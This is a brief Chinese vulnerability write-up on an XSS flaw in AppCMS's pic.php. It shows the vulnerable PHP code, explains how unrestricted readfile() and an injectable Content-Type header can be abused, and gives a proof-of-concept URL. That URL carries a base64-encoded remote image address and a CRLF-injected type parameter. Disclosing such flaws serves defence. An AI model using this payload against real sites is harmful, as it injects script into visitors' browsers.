AppCMS pic.php XSS 漏洞
pic.php:
1: <?php 2: if(isset($_GET['url']) && trim($_GET['url']) != '' && isset($_GET['type'])) { 3: $img_url=trim($_GET['url']); 4: $img_url = base64_decode($img_url); 5: $img_url=strtolower(trim($img_url)); 6: $_GET['type']=strtolower(trim($_GET['type'])); 7: 8: $urls=explode('.',$img_url); 9: if(count($urls)<=1) die('image type forbidden 0'); 10: $file_type=$urls[count($urls)-1]; 11: 12: if(in_array($file_type,array('jpg','gif','png','jpeg'))){}else{ die('image type foridden 1');} 13: 14: if(strstr($img_url,'php')) die('image type forbidden 2'); 15: 16: if(strstr($img_url,chr(0)))die('image type forbidden 3'); 17: if(strlen($img_url)>256)die('url too length forbidden 4'); 18: 19: header("Content-Type: image/{$_GET['type']}"); 20: readfile($img_url); 21: 22: } else { 23: die('image not find!'); 24: } 25: ?>
先说 $img_url 变量,可以由 $_GET['url'] 控制,但是只能引用图片,因为 12 行限制了的。
代码第 20 行直接读出文件内容,然后返回。由于没有限制路径,我们可以直接读 App 所在的主机任意图片文件,并且 readfile 还支持 HTTP 等协议,所以可以读取远程文件。
其实我要说的是 header 函数,老版本的 PHP 可以直接注入 %0d%0a,新版本的 PHP 如果注入 %0d%0a,PHP 会报错,并把文件内容原封不动返回给浏览器,所以只要引用一张带有 JS 代码、后缀为图片的文件,就可以 XSS 了:
http://xxx/pic.php?url=aHR0cDovLzEwLjguMC4xMDY6NTIwL3h4eC5qcGc=&type=jpg%0D%0A11
其中 aHR0cDovLzEwLjguMC4xMDY6NTIwL3h4eC5qcGc 是一张远程图片地址。